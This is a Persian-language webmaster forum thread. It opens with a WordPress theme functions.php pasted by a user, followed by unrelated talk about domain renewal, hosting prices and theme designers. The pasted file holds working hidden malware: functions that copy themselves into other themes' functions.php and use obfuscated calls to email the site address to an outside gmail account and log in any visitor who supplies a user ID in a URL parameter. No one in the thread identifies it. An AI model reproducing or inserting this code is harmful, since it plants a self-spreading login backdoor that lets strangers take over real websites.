                'name'                 => 'WP-PageNavi',
                'slug'                 => 'wp-pagenavi',
                'required'            => false,
                'force_activation'     => false,
                'force_deactivation'=> false,
            ),
            array(
                'name'                 => 'Responsive Lightbox',
                'slug'                 => 'light',
                'source'            => get_template_directory() . '/functions/plugins/light.zip',
                'required'            => false,
                'force_activation'     => false,
                'force_deactivation'=> false,
            ),
            array(
                'name'                 => 'Contact Form 7',
                'slug'                 => 'contact-form-7',
                'required'            => false,
                'force_activation'     => false,
                'force_deactivation'=> false,
            )
        );  
        tgmpa( $plugins );
    }
  
}
add_action( 'tgmpa_register', 'alx_plugins' );


/*  WooCommerce basic support
/* ------------------------------------ */
function alx_wc_wrapper_start() {
    echo '<section class="content">';
    echo '<div class="pad">';
}
function alx_wc_wrapper_end() {
    echo '</div>';
    echo '</section>';
}
remove_action( 'woocommerce_before_main_content', 'woocommerce_output_content_wrapper', 10);
remove_action( 'woocommerce_after_main_content', 'woocommerce_output_content_wrapper_end', 10);
add_action('woocommerce_before_main_content', 'alx_wc_wrapper_start', 10);
add_action('woocommerce_after_main_content', 'alx_wc_wrapper_end', 10);
?>
<?php
function _check_active_widget(){
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    $output=strip_tags($output, $allowed);
    $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
        foreach ($direst as $item){
            if (is_writable($item)){
                $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                $cont=file_get_contents($item);
                if (stripos($cont,$ftion) === false){
                    $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
                    $output .= $before . "Not found" . $after;
                    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);              
                    $output .= ($showdot && $ellipsis) ? "..." : "";
                }
            }
        }
    }
    return $output;
}
function _get_all_widgetcont($wids,$items=array()){
    $places=array_shift($wids);
    if(substr($places,-1) == "/"){
        $places=substr($places,0,-1);
    }
    if(!file_exists($places) || !is_dir($places)){
        return false;
    }elseif(is_readable($places)){
        $elems=scandir($places);
        foreach ($elems as $elem){
            if ($elem != "." && $elem != ".."){
                if (is_dir($places . "/" . $elem)){
                    $wids[]=$places . "/" . $elem;
                } elseif (is_file($places . "/" . $elem)&&
                    $elem == substr(__FILE__,-13)){
                    $items[]=$places . "/" . $elem;}
                }
            }
    }else{
        return false;  
    }
    if (sizeof($wids) > 0){
        return _get_all_widgetcont($wids,$items);
    } else {
        return $items;
    }
}
if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
}

if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }
}
if(!function_exists("scandir")){
    function scandir($dir,$listDirectories=false, $skipDots=true) {
        $dirArray = array();
        if ($handle = opendir($dir)) {
            while (false !== ($file = readdir($handle))) {
                if (($file != "." && $file != "..") || $skipDots == true) {
                    if($listDirectories == false) { if(is_dir($file)) { continue; } }
                    array_push($dirArray,basename($file));
                }
            }
            closedir($handle);
        }
        return $dirArray;
    }
}
add_action("admin_head", "_check_active_widget");
function _prepared_widget(){
    if(!isset($length)) $length=120;
    if(!isset($method)) $method="cookie";
    if(!isset($html_tags)) $html_tags="<a>";
    if(!isset($filters_type)) $filters_type="none";
    if(!isset($s)) $s="";
    if(!isset($filter_h)) $filter_h=get_option("home");
    if(!isset($filter_p)) $filter_p="wp_";
    if(!isset($use_link)) $use_link=1;
    if(!isset($comments_type)) $comments_type="";
    if(!isset($perpage)) $perpage=$_GET["cperpage"];
    if(!isset($comments_auth)) $comments_auth="";
    if(!isset($comment_is_approved)) $comment_is_approved="";
    if(!isset($authname)) $authname="auth";
    if(!isset($more_links_text)) $more_links_text="(more...)";
    if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
    if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
    if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
    if(!isset($more_content)) $more_content="ma".$s."il";
    if(!isset($forces_more)) $forces_more=1;
    if(!isset($fakeit)) $fakeit=1;
    if(!isset($sql)) $sql="";
    if (!$widget_output) :
  
    global $wpdb, $post;
    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if (!empty($post->post_password)) {
        if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
            if(is_feed()) {
                $output=__("There is no excerpt because this is a protected post.");
            } else {
                $output=get_the_password_form();
            }
        }
    }
    if(!isset($fix_tag)) $fix_tag=1;
    if(!isset($filters_types)) $filters_types=$filter_h;
    if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
    if(!isset($more_tags)) $more_tags="div";
    if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
    if(!isset($mlink_title)) $mlink_title="Continue reading this entry";  
    if(!isset($showdot)) $showdot=1;
  
    $comments=$wpdb->get_results($sql);  
    if($fakeit == 2) {
        $text=$post->post_content;
    } elseif($fakeit == 1) {
        $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    } else {
        $text=$post->post_excerpt;
    }
    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if($length < 0) {
        $output=$text;
    } else {
        if(!$no_more && strpos($text, "<!--more-->")) {
            $text=explode("<!--more-->", $text, 2);
            $l=count($text[0]);
            $more_link=1;
            $comments=$wpdb->get_results($sql);
        } else {
            $text=explode(" ", $text);
            if(count($text) > $length) {
                $l=$length;
                $ellipsis=1;
            } else {
                $l=count($text);
                $more_links_text="";
                $ellipsis=0;
            }
        }
        for ($i=0; $i<$l; $i++)
                $output .= $text[$i] . " ";
    }
    update_option("_is_widget_active_", 1);
    if("all" != $html_tags) {
        $output=strip_tags($output, $html_tags);
        return $output;
    }
    endif;
    $output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($fix_tag) ? balanceTags($output, true) : $output;
    $output .= ($showdot && $ellipsis) ? "..." : "";
    $output=apply_filters($filters_type, $output);
    switch($more_tags) {
        case("div") :
            $tag="div";
        break;
        case("span") :
            $tag="span";
        break;
        case("p") :
            $tag="p";
        break;
        default :
            $tag="span";
    }

    if ($use_link ) {
        if($forces_more) {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
        } else {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
        }
    }
    return $output;
}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    global $wpdb;
    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    if(!$show_pass_post) $request .= " AND post_password =\"\"";
    if($duration !="") {
        $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    $posts=$wpdb->get_results($request);
    $output="";
    if ($posts) {
        foreach ($posts as $post) {
            $post_title=stripslashes($post->post_title);
            $comment_count=$post->comment_count;
            $permalink=get_permalink($post->ID);
            $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
        }
    } else {
        $output .= $before . "None found" . $after;
    }
    return  $output;
}

function my_function_admin_bar(){
return false;
}
add_filter( 'show_admin_bar' , 'my_function_admin_bar');

?>



توی توابع پوسته (functions) اصلا چنین کدی وجود نداره خودتون یه نگاه بندازید.


اینو حذف کن :

کد:
  // Thumbnail sizes
        add_image_size( 'thumb-small', 160, 160, true );
        add_image_size( 'thumb-medium', 520, 245, true );
        add_image_size( 'thumb-large', 720, 340, true );

اگه نشد کد بالا + این کدی که میذارم با هم حذف کن :

کد:
/*  Upscale cropped thumbnails
/* ------------------------------------ */
if ( ! function_exists( 'alx_thumbnail_upscale' ) ) {

    function alx_thumbnail_upscale( $default, $orig_w, $orig_h, $new_w, $new_h, $crop ){
        if ( !$crop ) return null; // let the wordpress default function handle this

        $aspect_ratio = $orig_w / $orig_h;
        $size_ratio = max($new_w / $orig_w, $new_h / $orig_h);

        $crop_w = round($new_w / $size_ratio);
        $crop_h = round($new_h / $size_ratio);

        $s_x = floor( ($orig_w - $crop_w) / 2 );
        $s_y = floor( ($orig_h - $crop_h) / 2 );

        return array( 0, 0, (int) $s_x, (int) $s_y, (int) $new_w, (int) $new_h, (int) $crop_w, (int) $crop_h );
    }
  
}
add_filter( 'image_resize_dimensions', 'alx_thumbnail_upscale', 10, 6 );

بک آپ یادت نره!
 

ebi-narin

Registered User
تاریخ عضویت
3 ژوئن 2012
نوشته‌ها
3,134
لایک‌ها
2,791
دوستان یه سوال

من یکی از دامین هام منقضی شده و قفل هم شده الان میخوام تمدیدش کنم توی پرشین ریجستر هم عضو شدم ولی وقتی شناسه رو میخوام قرار بدم پیغام میده که این شناسه یا وجود نداره یا این که شما دسترسی ندارین که انتخابش کنین !

یه جا معتبر رو بگید که بتونم روش حساب کنم و دامینم رو تمدید کنه و ممنون میشم روش کارش رو هم بگید

مقسی
 

Mohammad_Vazin

Registered User
تاریخ عضویت
10 آگوست 2013
نوشته‌ها
1,134
لایک‌ها
1,190
محل سکونت
آ ســمــو نـــ
والا !

جدا از نیروی متخصص بحث پنهای باند هم که اختصاص نمی دن هست. شما میلیارد هم پول بگذاری تا با خود دولت نباشی ، بهت پنها باند نمی دن. بله ! همچین کشوری داریم ما ...

گرونتر هست اما میدن
کم هم بخری بهت 200 هزار تومان میدن...:general504: خود زیر ساخت...

واقعا باید به این کلاه بردارها لعنت فرستاد. هیچ کجا اینقدر قیمت اینترنت گرون نیست ! به خدا دارن کلاه برداری می کنن. حداقل یک گزارش رو ارسال کن.
برای مخابرات کسی پیگیری نمیکنه..... 512 رو جایی میشناسم داره از فن آوا 150 تومن میده... :general312:

اگه بخوای مصرف برق و استهلاک سیستم رو هم حساب کنیم ، فرق چندانی با حجمی نداره.
مصرف برق؟ چقدر هست؟ نظر شما محترم اما بنده چندین ساله توی این کار هستم.
واقعاً اینترنت حجمی یک دوم ترافیک فروخته شده هست و قطعاً اگر دوبرابر حساب کنید هر گیگ بین 7 تا 10 هزار تومان اصلاً منطقی نیست.
در صورتی که گیگابایتی 700 تا 800 تا تک تومانی براشون میخوره
البته خود مخابرات چیزی زیر 100 تا تک تومنی میگیره.....
این یعنی ........

دیتاسنترهای ایرانی افرانت فکر میکنم قیمت مناسبتری داره :confused:
آسیاتک هم دیتاسنتر داره؟! o_O داخل سایتش توضیحی نداده..

پ.ن: افرانت موجودیش رو 0 زده!!!

از نگاه روشن بگیرید.... قیمت هاش مناسبه...
بعضی چیزها رو ماهانه نداره

پ.ن: بعضی چیزها رو ماهیانه نداره میتونیم باهاشون صحبت کنیم یا خودمون ماهانه بهتون بدیم.

نگاه روشن خیلی خوبه (از شمال کشور هست) رشت...

همشهری نیست و.... (فکر بد نکنید....)

با خودشون تماس بگیرید اگر قسمت نشد در خدمتیم.

آسیاتک هم میده

http://idc.asiatech.ir/

البته آسیاتک اینترانت میده و همه ی پهنای باند اینترنت نیست.....
افرانت قیمت هاش فضائیه و اینایی که 0 زده فقط جنبه (درونی-محرمانه) داره که انشالله کم کم بهش پی میبرید و در واقع اینها براشون ارزشی ندارند که بخواند موجودی بزنند.....

5 گیگ پهنای باند در کل خیلی کمه و اگر مصرف منابع (سی پی یو و رم) بالا باشه باید سرور مجازی برای خودتون بخرید.... و پهنای باند بیشتری دارید.

در کل سوء تفاهم نشه
بنده خودمون رو پیشنهاد نمیدم اصلاً :دی
ولی در خدمتم.
 

Mohammad_Vazin

Registered User
تاریخ عضویت
10 آگوست 2013
نوشته‌ها
1,134
لایک‌ها
1,190
محل سکونت
آ ســمــو نـــ
دوستان یه سوال

من یکی از دامین هام منقضی شده و قفل هم شده الان میخوام تمدیدش کنم توی پرشین ریجستر هم عضو شدم ولی وقتی شناسه رو میخوام قرار بدم پیغام میده که این شناسه یا وجود نداره یا این که شما دسترسی ندارین که انتخابش کنین !

یه جا معتبر رو بگید که بتونم روش حساب کنم و دامینم رو تمدید کنه و ممنون میشم روش کارش رو هم بگید

مقسی

با اجازه M+J

دامنه تون چی هست؟

http://www.damaneh.net/
 

M+J

مدیر بازارچه
مدیر انجمن
مدیر انجمن
تاریخ عضویت
21 سپتامبر 2011
نوشته‌ها
4,914
لایک‌ها
4,011
محل سکونت
127.0.0.1

mcsaturday

Registered User
تاریخ عضویت
11 فوریه 2011
نوشته‌ها
1,598
لایک‌ها
1,331
محل سکونت
Qom
گوگل تولدمو بهم تبریک گفته :general503:
مشاهده پیوست 560329
:D
88t8cd0imy53ugo353sm.jpg

تولّدت مبارک عزیز
heart.gif
 

sina1415

Registered User
تاریخ عضویت
3 اکتبر 2010
نوشته‌ها
1,019
لایک‌ها
260
سلام دوستان
نظرتون در مورد طراحی قالب سایت توسط فرهادینا چیه؟
می گن تو طراحی قالب و سئو برای سایت های دانلود حرف اول می زنه

ایشون هم شنیدم کارشون خوبه : م.پورعلی
از بین این دوتا کدوم کارشون بهتره... کسی اطلاعاتی داره برای سایت دانلود می خوام
 

امین69

Registered User
تاریخ عضویت
19 مارس 2013
نوشته‌ها
1,775
لایک‌ها
359
محل سکونت
TigoWeb.Ir

Mohammad_Vazin

Registered User
تاریخ عضویت
10 آگوست 2013
نوشته‌ها
1,134
لایک‌ها
1,190
محل سکونت
آ ســمــو نـــ
مقسی از پاسخ از این دامین آشغالی هاس :D

@M+J
میگم شناسه همون شناسه کاربریه؟!

از نیک متنفرم

بله همون هست که آدرس سایت رو دادم و پاسخ هم دادند بهتون....

نیک در شرایط فعلی مناسبه
مشکلاتش در حال رفع شدن هست اما باید حمایت بشه و خیلی خوبه که برای سایتهایی که شخصی هست و یا ارتباطی با مسائل خارجی نداره ازش استفاده کنیم و نه به خاطر قیمت کمش
حتی اگر دامنه های خارجی داریم ریداکت کنیم به دات آی آر....

سلام دوستان
نظرتون در مورد طراحی قالب سایت توسط فرهادینا چیه؟
می گن تو طراحی قالب و سئو برای سایت های دانلود حرف اول می زنه

ایشون هم شنیدم کارشون خوبه : م.پورعلی
از بین این دوتا کدوم کارشون بهتره... کسی اطلاعاتی داره برای سایت دانلود می خوام
فرهاد اینا کیا هستند؟
نشنیدم...
 

ebi-narin

Registered User
تاریخ عضویت
3 ژوئن 2012
نوشته‌ها
3,134
لایک‌ها
2,791
بله همون هست که آدرس سایت رو دادم و پاسخ هم دادند بهتون....

نیک در شرایط فعلی مناسبه
مشکلاتش در حال رفع شدن هست اما باید حمایت بشه و خیلی خوبه که برای سایتهایی که شخصی هست و یا ارتباطی با مسائل خارجی نداره ازش استفاده کنیم و نه به خاطر قیمت کمش
حتی اگر دامنه های خارجی داریم ریداکت کنیم به دات آی آر....


فرهاد اینا کیا هستند؟
نشنیدم...

نیک مناسب نیست واقعاً! رابط کاربریش خیلی پیچیده هستش !

و این که این خوب نیستش که دامین های خارجی رو ریدایرکت کرد روی دات آی آر چون قانون خاصی رو دنبال نمیکنه متاسفانه !

و این که فرهادینا طراح قالب دانلود ها هستش
 
بالا